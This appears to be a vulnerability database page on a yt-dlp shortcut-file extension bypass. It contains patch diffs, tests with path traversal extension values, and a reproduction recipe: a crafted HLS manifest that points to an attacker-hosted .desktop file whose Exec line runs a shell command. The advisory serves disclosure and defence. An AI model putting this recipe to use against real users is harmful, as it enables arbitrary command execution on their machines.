yt-dlp: Dangerous file type creation via insufficient filename sanitization (Bypass of CVE-2024-38519)
Description
yt-dlp allows writing unsafe OS-shortcut files (.desktop/.url/.webloc) by bypassing a previous fix, enabling remote attackers to plant malicious shortcut files via crafted subtitle manifests.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
yt-dlp allows writing unsafe OS-shortcut files (.desktop/.url/.webloc) by bypassing a previous fix, enabling remote attackers to plant malicious shortcut files via crafted subtitle manifests.
Vulnerability
CVE-2026-50023 is a bypass of the extension allowlist introduced to fix CVE-2024-38519 in yt-dlp. The fix in version 2024.07.01 explicitly permitted the extensions .desktop, .url, and .webloc to preserve the --write-link functionality [1][4]. However, many extractors derive file extensions from attacker-controlled sources (e.g., an EXT-X-MEDIA URI in an HLS m3u8 manifest). If a user passes --write-subs (or similar options), yt-dlp will write attacker-controlled content to a file with one of these unsafe extensions, regardless of the actual content type. Versions from 2024.07.01 up to (but not including) 2026.06.09 are affected [2][3].
Exploitation
An attacker must control a media stream that yt-dlp processes (e.g., host a malicious master.m3u8 manifest). The manifest contains an EXT-X-MEDIA:TYPE=SUBTITLES tag with a URI pointing to a payload file such as http://attacker/payload.desktop. The attacker also hosts the payload file containing a malicious shortcut (e.g., a .desktop file with an Exec= directive or a .url file pointing to a phishing site). The victim must run yt-dlp with --write-subs on the attacker’s stream. yt-dlp will download the payload and save it to disk with the exact filename from the URI (e.g., payload.desktop). The file is saved next to the downloaded video, and the OS often hides the extension, tricking the user into opening the malicious shortcut [4].
Impact
Successful exploitation allows an attacker to write arbitrary OS-shortcut files to the user’s filesystem. These shortcut files can execute arbitrary commands (e.g., via .desktop Exec= lines), launch remote binaries, or redirect the user to malicious URLs. Because the file extension is often hidden, the user may be deceived into opening the malicious shortcut, leading to arbitrary code execution, credential theft, or further system compromise [4].
Mitigation
The vulnerability is fixed in yt-dlp version 2026.06.09 (and the corresponding nightly build 2026.06.09.230517) [2][3]. The fix removes .desktop, .url, and .webloc from the safe extensions list, restricting their use to the --write-link context only [2][3][4]. Users should update to 2026.06.09 or later. No complete workaround is available for older versions; users should avoid using --write-subs or other options that derive file extensions from untrusted sources until patched.
AI Insight generated on Jun 16, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
2Patches
4e578e265f7c6Remove `url`, `desktop` and `webloc` from safe extensions
2 files changed · +9 −9
yt_dlp/utils/_utils.py+6 −8 modified@@ -2139,16 +2139,16 @@ def parse_duration(s): (days, 86400), (hours, 3600), (mins, 60), (secs, 1), (ms, 1))) -def _change_extension(prepend, filename, ext, expected_real_ext=None): +def _change_extension(prepend, filename, ext, expected_real_ext=None, *, _allowed_exts=()): name, real_ext = os.path.splitext(filename) if not expected_real_ext or real_ext[1:] == expected_real_ext: filename = name if prepend and real_ext: - _UnsafeExtensionError.sanitize_extension(ext, prepend=True) + _UnsafeExtensionError.sanitize_extension(ext, prepend=True, _allowed_exts=_allowed_exts) return f'{filename}.{ext}{real_ext}' - return f'{filename}.{_UnsafeExtensionError.sanitize_extension(ext)}' + return f'{filename}.{_UnsafeExtensionError.sanitize_extension(ext, _allowed_exts=_allowed_exts)}' prepend_extension = functools.partial(_change_extension, True) @@ -5211,20 +5211,17 @@ class _UnsafeExtensionError(Exception): # others *MEDIA_EXTENSIONS.manifests, *MEDIA_EXTENSIONS.storyboards, - 'desktop', 'ism', 'm3u', 'sbv', - 'url', - 'webloc', ]) def __init__(self, extension, /): super().__init__(f'unsafe file extension: {extension!r}') self.extension = extension @classmethod - def sanitize_extension(cls, extension, /, *, prepend=False): + def sanitize_extension(cls, extension, /, *, prepend=False, _allowed_exts=()): if extension is None: return None @@ -5235,7 +5232,8 @@ def sanitize_extension(cls, extension, /, *, prepend=False): _, _, last = extension.rpartition('.') if last == 'bin': extension = last = 'unknown_video' - if last.lower() not in cls.ALLOWED_EXTENSIONS: + allowed = _allowed_exts or cls.ALLOWED_EXTENSIONS + if last.lower() not in allowed: raise cls(extension) return extension
yt_dlp/YoutubeDL.py+3 −1 modified@@ -3395,7 +3395,9 @@ def _write_link_file(link_type): self.report_warning( f'Cannot write internet shortcut file because the actual URL of "{info_dict["webpage_url"]}" is unknown') return True - linkfn = replace_extension(self.prepare_filename(info_dict, 'link'), link_type, info_dict.get('ext')) + linkfn = replace_extension( + self.prepare_filename(info_dict, 'link'), link_type, + info_dict.get('ext'), _allowed_exts=tuple(LINK_TEMPLATES)) if not self._ensure_dir_exists(linkfn): return False if self.params.get('overwrites', True) and os.path.exists(linkfn):
5ce582448ece[core] Disallow unsafe extensions (CVE-2024-38519)
7 files changed · +179 −12
devscripts/changelog_override.json+5 −0 modified@@ -175,5 +175,10 @@ "when": "e6a22834df1776ec4e486526f6df2bf53cb7e06f", "short": "[ie/orf:on] Add `prefer_segments_playlist` extractor-arg (#10314)", "authors": ["seproDev"] + }, + { + "action": "add", + "when": "6aaf96a3d6e7d0d426e97e11a2fcf52fda00e733", + "short": "[priority] Security: [[CVE-2024-10123](https://nvd.nist.gov/vuln/detail/CVE-2024-10123)] [Properly sanitize file-extension to prevent file system modification and RCE](https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-79w7-vh3h-8g4j)\n - Unsafe extensions are now blocked from being downloaded" } ]
README.md+8 −0 modified@@ -2229,6 +2229,14 @@ For ease of use, a few more compat options are available: * `--compat-options 2022`: Same as `--compat-options 2023,playlist-match-filter,no-external-downloader-progress,prefer-legacy-http-handler,manifest-filesize-approx` * `--compat-options 2023`: Currently does nothing. Use this to enable all future compat options +The following compat options restore vulnerable behavior from before security patches: + +* `--compat-options allow-unsafe-ext`: Allow files with any extension (including unsafe ones) to be downloaded ([GHSA-79w7-vh3h-8g4j](<https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-79w7-vh3h-8g4j>)) + + > :warning: Only use if a valid file download is rejected because its extension is detected as uncommon + > + > **This option can enable remote code execution! Consider [opening an issue](<https://github.com/yt-dlp/yt-dlp/issues/new/choose>) instead!** + ### Deprecated options These are all the deprecated options and the current alternative to achieve the same effect
test/test_utils.py+31 −0 modified@@ -130,6 +130,7 @@ xpath_text, xpath_with_ns, ) +from yt_dlp.utils._utils import _UnsafeExtensionError from yt_dlp.utils.networking import ( HTTPHeaderDict, escape_rfc3986, @@ -281,6 +282,13 @@ def env(var): finally: os.environ['HOME'] = old_home or '' + _uncommon_extensions = [ + ('exe', 'abc.exe.ext'), + ('de', 'abc.de.ext'), + ('../.mp4', None), + ('..\\.mp4', None), + ] + def test_prepend_extension(self): self.assertEqual(prepend_extension('abc.ext', 'temp'), 'abc.temp.ext') self.assertEqual(prepend_extension('abc.ext', 'temp', 'ext'), 'abc.temp.ext') @@ -289,6 +297,19 @@ def test_prepend_extension(self): self.assertEqual(prepend_extension('.abc', 'temp'), '.abc.temp') self.assertEqual(prepend_extension('.abc.ext', 'temp'), '.abc.temp.ext') + # Test uncommon extensions + self.assertEqual(prepend_extension('abc.ext', 'bin'), 'abc.bin.ext') + for ext, result in self._uncommon_extensions: + with self.assertRaises(_UnsafeExtensionError): + prepend_extension('abc', ext) + if result: + self.assertEqual(prepend_extension('abc.ext', ext, 'ext'), result) + else: + with self.assertRaises(_UnsafeExtensionError): + prepend_extension('abc.ext', ext, 'ext') + with self.assertRaises(_UnsafeExtensionError): + prepend_extension('abc.unexpected_ext', ext, 'ext') + def test_replace_extension(self): self.assertEqual(replace_extension('abc.ext', 'temp'), 'abc.temp') self.assertEqual(replace_extension('abc.ext', 'temp', 'ext'), 'abc.temp') @@ -297,6 +318,16 @@ def test_replace_extension(self): self.assertEqual(replace_extension('.abc', 'temp'), '.abc.temp') self.assertEqual(replace_extension('.abc.ext', 'temp'), '.abc.temp') + # Test uncommon extensions + self.assertEqual(replace_extension('abc.ext', 'bin'), 'abc.unknown_video') + for ext, _ in self._uncommon_extensions: + with self.assertRaises(_UnsafeExtensionError): + replace_extension('abc', ext) + with self.assertRaises(_UnsafeExtensionError): + replace_extension('abc.ext', ext, 'ext') + with self.assertRaises(_UnsafeExtensionError): + replace_extension('abc.unexpected_ext', ext, 'ext') + def test_subtitles_filename(self): self.assertEqual(subtitles_filename('abc.ext', 'en', 'vtt'), 'abc.en.vtt') self.assertEqual(subtitles_filename('abc.ext', 'en', 'vtt', 'ext'), 'abc.en.vtt')
yt_dlp/__init__.py+8 −0 modified@@ -64,6 +64,7 @@ write_string, ) from .utils.networking import std_headers +from .utils._utils import _UnsafeExtensionError from .YoutubeDL import YoutubeDL _IN_CLI = False @@ -593,6 +594,13 @@ def report_deprecation(val, old, new=None): if opts.ap_username is not None and opts.ap_password is None: opts.ap_password = getpass.getpass('Type TV provider account password and press [Return]: ') + # compat option changes global state destructively; only allow from cli + if 'allow-unsafe-ext' in opts.compat_opts: + warnings.append( + 'Using allow-unsafe-ext opens you up to potential attacks. ' + 'Use with great care!') + _UnsafeExtensionError.sanitize_extension = lambda x: x + return warnings, deprecation_warnings
yt_dlp/options.py+1 −1 modified@@ -474,7 +474,7 @@ def _alias_callback(option, opt_str, value, parser, opts, nargs): 'no-attach-info-json', 'embed-thumbnail-atomicparsley', 'no-external-downloader-progress', 'embed-metadata', 'seperate-video-versions', 'no-clean-infojson', 'no-keep-subs', 'no-certifi', 'no-youtube-channel-redirect', 'no-youtube-unavailable-videos', 'no-youtube-prefer-utc-upload-date', - 'prefer-legacy-http-handler', 'manifest-filesize-approx', + 'prefer-legacy-http-handler', 'manifest-filesize-approx', 'allow-unsafe-ext', }, 'aliases': { 'youtube-dl': ['all', '-multistreams', '-playlist-match-filter', '-manifest-filesize-approx'], 'youtube-dlc': ['all', '-no-youtube-channel-redirect', '-no-live-chat', '-playlist-match-filter', '-manifest-filesize-approx'],
yt_dlp/utils/_utils.py+106 −8 modified@@ -2085,17 +2085,20 @@ def parse_duration(s): (days, 86400), (hours, 3600), (mins, 60), (secs, 1), (ms, 1))) -def prepend_extension(filename, ext, expected_real_ext=None): +def _change_extension(prepend, filename, ext, expected_real_ext=None): name, real_ext = os.path.splitext(filename) - return ( - f'{name}.{ext}{real_ext}' - if not expected_real_ext or real_ext[1:] == expected_real_ext - else f'{filename}.{ext}') + if not expected_real_ext or real_ext[1:] == expected_real_ext: + filename = name + if prepend and real_ext: + _UnsafeExtensionError.sanitize_extension(ext, prepend=True) + return f'{filename}.{ext}{real_ext}' + + return f'{filename}.{_UnsafeExtensionError.sanitize_extension(ext)}' -def replace_extension(filename, ext, expected_real_ext=None): - name, real_ext = os.path.splitext(filename) - return f'{name if not expected_real_ext or real_ext[1:] == expected_real_ext else filename}.{ext}' + +prepend_extension = functools.partial(_change_extension, True) +replace_extension = functools.partial(_change_extension, False) def check_executable(exe, args=[]): @@ -5035,6 +5038,101 @@ def items_(self): KNOWN_EXTENSIONS = (*MEDIA_EXTENSIONS.video, *MEDIA_EXTENSIONS.audio, *MEDIA_EXTENSIONS.manifests) +class _UnsafeExtensionError(Exception): + """ + Mitigation exception for uncommon/malicious file extensions + This should be caught in YoutubeDL.py alongside a warning + + Ref: https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-79w7-vh3h-8g4j + """ + ALLOWED_EXTENSIONS = frozenset([ + # internal + 'description', + 'json', + 'meta', + 'orig', + 'part', + 'temp', + 'uncut', + 'unknown_video', + 'ytdl', + + # video + *MEDIA_EXTENSIONS.video, + 'avif', + 'ismv', + 'm2ts', + 'm4s', + 'mng', + 'mpeg', + 'qt', + 'swf', + 'ts', + 'vp9', + 'wvm', + + # audio + *MEDIA_EXTENSIONS.audio, + 'isma', + 'mid', + 'mpga', + 'ra', + + # image + *MEDIA_EXTENSIONS.thumbnails, + 'bmp', + 'gif', + 'heic', + 'ico', + 'jng', + 'jpeg', + 'jxl', + 'svg', + 'tif', + 'wbmp', + + # subtitle + *MEDIA_EXTENSIONS.subtitles, + 'dfxp', + 'fs', + 'ismt', + 'sami', + 'scc', + 'ssa', + 'tt', + 'ttml', + + # others + *MEDIA_EXTENSIONS.manifests, + *MEDIA_EXTENSIONS.storyboards, + 'desktop', + 'ism', + 'm3u', + 'sbv', + 'url', + 'webloc', + 'xml', + ]) + + def __init__(self, extension, /): + super().__init__(f'unsafe file extension: {extension!r}') + self.extension = extension + + @classmethod + def sanitize_extension(cls, extension, /, *, prepend=False): + if '/' in extension or '\\' in extension: + raise cls(extension) + + if not prepend: + _, _, last = extension.rpartition('.') + if last == 'bin': + extension = last = 'unknown_video' + if last.lower() not in cls.ALLOWED_EXTENSIONS: + raise cls(extension) + + return extension + + class RetryManager: """Usage: for retry in RetryManager(...):
yt_dlp/YoutubeDL.py+20 −3 modified@@ -159,7 +159,7 @@ write_json_file, write_string, ) -from .utils._utils import _YDLLogger +from .utils._utils import _UnsafeExtensionError, _YDLLogger from .utils.networking import ( HTTPHeaderDict, clean_headers, @@ -172,6 +172,20 @@ import ctypes +def _catch_unsafe_extension_error(func): + @functools.wraps(func) + def wrapper(self, *args, **kwargs): + try: + return func(self, *args, **kwargs) + except _UnsafeExtensionError as error: + self.report_error( + f'The extracted extension ({error.extension!r}) is unusual ' + 'and will be skipped for safety reasons. ' + f'If you believe this is an error{bug_reports_message(",")}') + + return wrapper + + class YoutubeDL: """YoutubeDL class. @@ -454,8 +468,9 @@ class YoutubeDL: Set the value to 'native' to use the native downloader compat_opts: Compatibility options. See "Differences in default behavior". The following options do not work when used through the API: - filename, abort-on-error, multistreams, no-live-chat, format-sort - no-clean-infojson, no-playlist-metafiles, no-keep-subs, no-attach-info-json. + filename, abort-on-error, multistreams, no-live-chat, + format-sort, no-clean-infojson, no-playlist-metafiles, + no-keep-subs, no-attach-info-json, allow-unsafe-ext. Refer __init__.py for their implementation progress_template: Dictionary of templates for progress outputs. Allowed keys are 'download', 'postprocess', @@ -1400,6 +1415,7 @@ def evaluate_outtmpl(self, outtmpl, info_dict, *args, **kwargs): outtmpl, info_dict = self.prepare_outtmpl(outtmpl, info_dict, *args, **kwargs) return self.escape_outtmpl(outtmpl) % info_dict + @_catch_unsafe_extension_error def _prepare_filename(self, info_dict, *, outtmpl=None, tmpl_type=None): assert None in (outtmpl, tmpl_type), 'outtmpl and tmpl_type are mutually exclusive' if outtmpl is None: @@ -3192,6 +3208,7 @@ def existing_file(self, filepaths, *, default_overwrite=True): os.remove(file) return None + @_catch_unsafe_extension_error def process_info(self, info_dict): """Process a single resolved IE result. (Modifies it in-place)"""
d42a222ed541[core,utils] Implement unsafe file extension mitigation
3 files changed · +209 −43
test/test_utils.py+46 −0 modified@@ -14,9 +14,11 @@ import io import itertools import json +import types import xml.etree.ElementTree from youtube_dl.utils import ( + _UnsafeExtensionError, age_restricted, args_to_str, base_url, @@ -270,6 +272,27 @@ def env(var): expand_path('~/%s' % env('YOUTUBE_DL_EXPATH_PATH')), '%s/expanded' % compat_getenv('HOME')) + _uncommon_extensions = [ + ('exe', 'abc.exe.ext'), + ('de', 'abc.de.ext'), + ('../.mp4', None), + ('..\\.mp4', None), + ] + + def assertUnsafeExtension(self, ext=None): + assert_raises = self.assertRaises(_UnsafeExtensionError) + assert_raises.ext = ext + orig_exit = assert_raises.__exit__ + + def my_exit(self_, exc_type, exc_val, exc_tb): + did_raise = orig_exit(exc_type, exc_val, exc_tb) + if did_raise and assert_raises.ext is not None: + self.assertEqual(assert_raises.ext, assert_raises.exception.extension, 'Unsafe extension not as unexpected') + return did_raise + + assert_raises.__exit__ = types.MethodType(my_exit, assert_raises) + return assert_raises + def test_prepend_extension(self): self.assertEqual(prepend_extension('abc.ext', 'temp'), 'abc.temp.ext') self.assertEqual(prepend_extension('abc.ext', 'temp', 'ext'), 'abc.temp.ext') @@ -278,6 +301,19 @@ def test_prepend_extension(self): self.assertEqual(prepend_extension('.abc', 'temp'), '.abc.temp') self.assertEqual(prepend_extension('.abc.ext', 'temp'), '.abc.temp.ext') + # Test uncommon extensions + self.assertEqual(prepend_extension('abc.ext', 'bin'), 'abc.bin.ext') + for ext, result in self._uncommon_extensions: + with self.assertUnsafeExtension(ext): + prepend_extension('abc', ext) + if result: + self.assertEqual(prepend_extension('abc.ext', ext, 'ext'), result) + else: + with self.assertUnsafeExtension(ext): + prepend_extension('abc.ext', ext, 'ext') + with self.assertUnsafeExtension(ext): + prepend_extension('abc.unexpected_ext', ext, 'ext') + def test_replace_extension(self): self.assertEqual(replace_extension('abc.ext', 'temp'), 'abc.temp') self.assertEqual(replace_extension('abc.ext', 'temp', 'ext'), 'abc.temp') @@ -286,6 +322,16 @@ def test_replace_extension(self): self.assertEqual(replace_extension('.abc', 'temp'), '.abc.temp') self.assertEqual(replace_extension('.abc.ext', 'temp'), '.abc.temp') + # Test uncommon extensions + self.assertEqual(replace_extension('abc.ext', 'bin'), 'abc.unknown_video') + for ext, _ in self._uncommon_extensions: + with self.assertUnsafeExtension(ext): + replace_extension('abc', ext) + with self.assertUnsafeExtension(ext): + replace_extension('abc.ext', ext, 'ext') + with self.assertUnsafeExtension(ext): + replace_extension('abc.unexpected_ext', ext, 'ext') + def test_subtitles_filename(self): self.assertEqual(subtitles_filename('abc.ext', 'en', 'vtt'), 'abc.en.vtt') self.assertEqual(subtitles_filename('abc.ext', 'en', 'vtt', 'ext'), 'abc.en.vtt')
youtube_dl/utils.py+146 −43 modified@@ -1717,39 +1717,6 @@ def random_user_agent(): 'PST': -8, 'PDT': -7 # Pacific } - -class Namespace(object): - """Immutable namespace""" - - def __init__(self, **kw_attr): - self.__dict__.update(kw_attr) - - def __iter__(self): - return iter(self.__dict__.values()) - - @property - def items_(self): - return self.__dict__.items() - - -MEDIA_EXTENSIONS = Namespace( - common_video=('avi', 'flv', 'mkv', 'mov', 'mp4', 'webm'), - video=('3g2', '3gp', 'f4v', 'mk3d', 'divx', 'mpg', 'ogv', 'm4v', 'wmv'), - common_audio=('aiff', 'alac', 'flac', 'm4a', 'mka', 'mp3', 'ogg', 'opus', 'wav'), - audio=('aac', 'ape', 'asf', 'f4a', 'f4b', 'm4b', 'm4p', 'm4r', 'oga', 'ogx', 'spx', 'vorbis', 'wma', 'weba'), - thumbnails=('jpg', 'png', 'webp'), - # storyboards=('mhtml', ), - subtitles=('srt', 'vtt', 'ass', 'lrc', 'ttml'), - manifests=('f4f', 'f4m', 'm3u8', 'smil', 'mpd'), -) -MEDIA_EXTENSIONS.video = MEDIA_EXTENSIONS.common_video + MEDIA_EXTENSIONS.video -MEDIA_EXTENSIONS.audio = MEDIA_EXTENSIONS.common_audio + MEDIA_EXTENSIONS.audio - -KNOWN_EXTENSIONS = ( - MEDIA_EXTENSIONS.video + MEDIA_EXTENSIONS.audio - + MEDIA_EXTENSIONS.manifests -) - # needed for sanitizing filenames in restricted mode ACCENT_CHARS = dict(zip('ÂÃÄÀÁÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖŐØŒÙÚÛÜŰÝÞßàáâãäåæçèéêëìíîïðñòóôõöőøœùúûüűýþÿ', itertools.chain('AAAAAA', ['AE'], 'CEEEEIIIIDNOOOOOOO', ['OE'], 'UUUUUY', ['TH', 'ss'], @@ -3977,19 +3944,22 @@ def parse_duration(s): return duration -def prepend_extension(filename, ext, expected_real_ext=None): +def _change_extension(prepend, filename, ext, expected_real_ext=None): name, real_ext = os.path.splitext(filename) - return ( - '{0}.{1}{2}'.format(name, ext, real_ext) - if not expected_real_ext or real_ext[1:] == expected_real_ext - else '{0}.{1}'.format(filename, ext)) + sanitize_extension = _UnsafeExtensionError.sanitize_extension + if not expected_real_ext or real_ext.partition('.')[0::2] == ('', expected_real_ext): + filename = name + if prepend and real_ext: + sanitize_extension(ext, prepend=prepend) + return ''.join((filename, '.', ext, real_ext)) -def replace_extension(filename, ext, expected_real_ext=None): - name, real_ext = os.path.splitext(filename) - return '{0}.{1}'.format( - name if not expected_real_ext or real_ext[1:] == expected_real_ext else filename, - ext) + # Mitigate path traversal and file impersonation attacks + return '.'.join((filename, sanitize_extension(ext))) + + +prepend_extension = functools.partial(_change_extension, True) +replace_extension = functools.partial(_change_extension, False) def check_executable(exe, args=[]): @@ -6579,3 +6549,136 @@ def join_nonempty(*values, **kwargs): if from_dict is not None: values = (traverse_obj(from_dict, variadic(v)) for v in values) return delim.join(map(compat_str, filter(None, values))) + + +class Namespace(object): + """Immutable namespace""" + + def __init__(self, **kw_attr): + self.__dict__.update(kw_attr) + + def __iter__(self): + return iter(self.__dict__.values()) + + @property + def items_(self): + return self.__dict__.items() + + +MEDIA_EXTENSIONS = Namespace( + common_video=('avi', 'flv', 'mkv', 'mov', 'mp4', 'webm'), + video=('3g2', '3gp', 'f4v', 'mk3d', 'divx', 'mpg', 'ogv', 'm4v', 'wmv'), + common_audio=('aiff', 'alac', 'flac', 'm4a', 'mka', 'mp3', 'ogg', 'opus', 'wav'), + audio=('aac', 'ape', 'asf', 'f4a', 'f4b', 'm4b', 'm4p', 'm4r', 'oga', 'ogx', 'spx', 'vorbis', 'wma', 'weba'), + thumbnails=('jpg', 'png', 'webp'), + # storyboards=('mhtml', ), + subtitles=('srt', 'vtt', 'ass', 'lrc', 'ttml'), + manifests=('f4f', 'f4m', 'm3u8', 'smil', 'mpd'), +) +MEDIA_EXTENSIONS.video = MEDIA_EXTENSIONS.common_video + MEDIA_EXTENSIONS.video +MEDIA_EXTENSIONS.audio = MEDIA_EXTENSIONS.common_audio + MEDIA_EXTENSIONS.audio + +KNOWN_EXTENSIONS = ( + MEDIA_EXTENSIONS.video + MEDIA_EXTENSIONS.audio + + MEDIA_EXTENSIONS.manifests +) + + +class _UnsafeExtensionError(Exception): + """ + Mitigation exception for unwanted file overwrite/path traversal + This should be caught in YoutubeDL.py with a warning + + Ref: https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-79w7-vh3h-8g4j + """ + _ALLOWED_EXTENSIONS = frozenset(itertools.chain( + ( # internal + 'description', + 'json', + 'meta', + 'orig', + 'part', + 'temp', + 'uncut', + 'unknown_video', + 'ytdl', + ), + # video + MEDIA_EXTENSIONS.video, ( + 'avif', + 'ismv', + 'm2ts', + 'm4s', + 'mng', + 'mpeg', + 'qt', + 'swf', + 'ts', + 'vp9', + 'wvm', + ), + # audio + MEDIA_EXTENSIONS.audio, ( + 'isma', + 'mid', + 'mpga', + 'ra', + ), + # image + MEDIA_EXTENSIONS.thumbnails, ( + 'bmp', + 'gif', + 'ico', + 'heic', + 'jng', + 'jpeg', + 'jxl', + 'svg', + 'tif', + 'wbmp', + ), + # subtitle + MEDIA_EXTENSIONS.subtitles, ( + 'dfxp', + 'fs', + 'ismt', + 'sami', + 'scc', + 'ssa', + 'tt', + ), + # others + MEDIA_EXTENSIONS.manifests, + ( + # not used in yt-dl + # *MEDIA_EXTENSIONS.storyboards, + # 'desktop', + # 'ism', + # 'm3u', + # 'sbv', + # 'swp', + # 'url', + # 'webloc', + # 'xml', + ))) + + def __init__(self, extension): + super(_UnsafeExtensionError, self).__init__('unsafe file extension: {0!r}'.format(extension)) + self.extension = extension + + @classmethod + def sanitize_extension(cls, extension, **kwargs): + # ... /, *, prepend=False + prepend = kwargs.get('prepend', False) + + if '/' in extension or '\\' in extension: + raise cls(extension) + + if not prepend: + last = extension.rpartition('.')[-1] + if last == 'bin': + extension = last = 'unknown_video' + if last.lower() not in cls._ALLOWED_EXTENSIONS: + raise cls(extension) + + return extension
youtube_dl/YoutubeDL.py+17 −0 modified@@ -7,6 +7,7 @@ import copy import datetime import errno +import functools import io import itertools import json @@ -53,6 +54,7 @@ compat_urllib_request_DataHandler, ) from .utils import ( + _UnsafeExtensionError, age_restricted, args_to_str, bug_reports_message, @@ -129,6 +131,20 @@ import ctypes +def _catch_unsafe_file_extension(func): + @functools.wraps(func) + def wrapper(self, *args, **kwargs): + try: + return func(self, *args, **kwargs) + except _UnsafeExtensionError as error: + self.report_error( + '{0} found; to avoid damaging your system, this value is disallowed.' + ' If you believe this is an error{1}').format( + error.message, bug_reports_message(',')) + + return wrapper + + class YoutubeDL(object): """YoutubeDL class. @@ -1925,6 +1941,7 @@ def print_optional(field): if self.params.get('forcejson', False): self.to_stdout(json.dumps(self.sanitize_info(info_dict))) + @_catch_unsafe_file_extension def process_info(self, info_dict): """Process a single resolved IE result."""
37cea84f7751[core,utils] Support unpublicised `--no-check-extensions`
3 files changed · +12 −2
youtube_dl/__init__.py+4 −0 modified@@ -21,6 +21,7 @@ workaround_optparse_bug9161, ) from .utils import ( + _UnsafeExtensionError, DateRange, decodeOption, DEFAULT_OUTTMPL, @@ -173,6 +174,9 @@ def _real_main(argv=None): if opts.ap_mso and opts.ap_mso not in MSO_INFO: parser.error('Unsupported TV Provider, use --ap-list-mso to get a list of supported TV Providers') + if opts.no_check_extensions: + _UnsafeExtensionError.lenient = True + def parse_retries(retries): if retries in ('inf', 'infinite'): parsed_retries = float('inf')
youtube_dl/options.py+4 −0 modified@@ -533,6 +533,10 @@ def _comma_separated_values_options_callback(option, opt_str, value, parser): '--no-check-certificate', action='store_true', dest='no_check_certificate', default=False, help='Suppress HTTPS certificate validation') + workarounds.add_option( + '--no-check-extensions', + action='store_true', dest='no_check_extensions', default=False, + help='Suppress file extension validation') workarounds.add_option( '--prefer-insecure', '--prefer-unsecure', action='store_true', dest='prefer_insecure',
youtube_dl/utils.py+4 −2 modified@@ -6587,7 +6587,6 @@ def items_(self): class _UnsafeExtensionError(Exception): """ Mitigation exception for unwanted file overwrite/path traversal - This should be caught in YoutubeDL.py with a warning Ref: https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-79w7-vh3h-8g4j """ @@ -6666,6 +6665,9 @@ def __init__(self, extension): super(_UnsafeExtensionError, self).__init__('unsafe file extension: {0!r}'.format(extension)) self.extension = extension + # support --no-check-extensions + lenient = False + @classmethod def sanitize_extension(cls, extension, **kwargs): # ... /, *, prepend=False @@ -6678,7 +6680,7 @@ def sanitize_extension(cls, extension, **kwargs): last = extension.rpartition('.')[-1] if last == 'bin': extension = last = 'unknown_video' - if last.lower() not in cls._ALLOWED_EXTENSIONS: + if not (cls.lenient or last.lower() in cls._ALLOWED_EXTENSIONS): raise cls(extension) return extension
Vulnerability mechanics
Root cause
"The global file extension allowlist in `_UnsafeExtensionError` included `.desktop`, `.url`, and `.webloc`, allowing attacker-controlled subtitle/media downloads to write OS-shortcut files."
Attack vector
An attacker hosts a malicious `master.m3u8` manifest containing an `EXT-X-MEDIA:TYPE=SUBTITLES` tag with a URI pointing to a `.desktop` file (e.g., `URI="http://attacker/payload.desktop"`). When a user runs yt-dlp with `--write-subs`, the extractor derives the file extension from the attacker-controlled URI, and the global allowlist permits `.desktop`, so yt-dlp writes attacker-controlled content to a file like `MyVideo.en.desktop`. Opening this shortcut file can lead to arbitrary code execution or phishing [ref_id=1][ref_id=2].
Affected code
The vulnerability resides in `yt_dlp/utils/_utils.py` in the `_UnsafeExtensionError` class and `_change_extension` function, and in `yt_dlp/YoutubeDL.py` in the `_write_link_file` method. The global allowlist `ALLOWED_EXTENSIONS` included `'desktop'`, `'url'`, and `'webloc'`, and `sanitize_extension()` used only that global list without accepting a context-specific override.
What the fix does
The patch [patch_id=6214797] removes `'desktop'`, `'url'`, and `'webloc'` from the global `ALLOWED_EXTENSIONS` set in `_UnsafeExtensionError`. It also adds an `_allowed_exts` parameter to `sanitize_extension()` and `_change_extension()`, so that callers can supply a context-specific allowlist. In `YoutubeDL.py`, `_write_link_file` now passes `_allowed_exts=tuple(LINK_TEMPLATES)`, ensuring `.desktop`/`.url`/`.webloc` are only written when the user explicitly requests `--write-link`, not during subtitle or media downloads.
Preconditions
- configUser must pass the --write-subs (or --write-auto-subs, --embed-subs, --write-thumbnail, etc.) option to yt-dlp
- inputAttacker must control the input URL so that yt-dlp fetches a malicious m3u8 manifest
- networkAttacker must host a malicious .desktop/.url/.webloc payload at the URI referenced in the manifest
Reproduction
1. Host a malicious `master.m3u8` manifest containing `#EXT-X-MEDIA:TYPE=SUBTITLES,GROUP-ID="subs",NAME="English",URI="http://attacker/payload.desktop",LANGUAGE="en"` and a `payload.desktop` file with `[Desktop Entry]\nType=Application\nExec=sh -c "touch /tmp/ytdlp_pwned_$(id -u)"\nName=Subtitle`. 2. Run `yt-dlp --write-subs -o "MyVideo.%(ext)s" "http://attacker/master.m3u8"`. 3. yt-dlp writes `MyVideo.en.desktop` to disk containing the attacker payload [ref_id=1][ref_id=2].
Generated on Jun 16, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
6- github.com/advisories/GHSA-c6mh-fpjc-4pr3ghsaADVISORY
- github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.06.09.230517ghsa
- github.com/yt-dlp/yt-dlp/commit/e578e265f7c6ca94a74b30e0d8d6196a4d19fb6aghsa
- github.com/yt-dlp/yt-dlp/releases/tag/2026.06.09ghsa
- github.com/yt-dlp/yt-dlp/security/advisories/GHSA-c6mh-fpjc-4pr3ghsa
- nvd.nist.gov/vuln/detail/CVE-2024-38519ghsa
News mentions
0No linked articles in our index yet.